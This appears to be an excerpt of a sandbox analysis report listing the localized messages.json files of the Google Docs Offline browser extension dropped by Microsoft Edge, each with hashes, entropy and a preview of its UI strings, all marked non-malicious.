SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
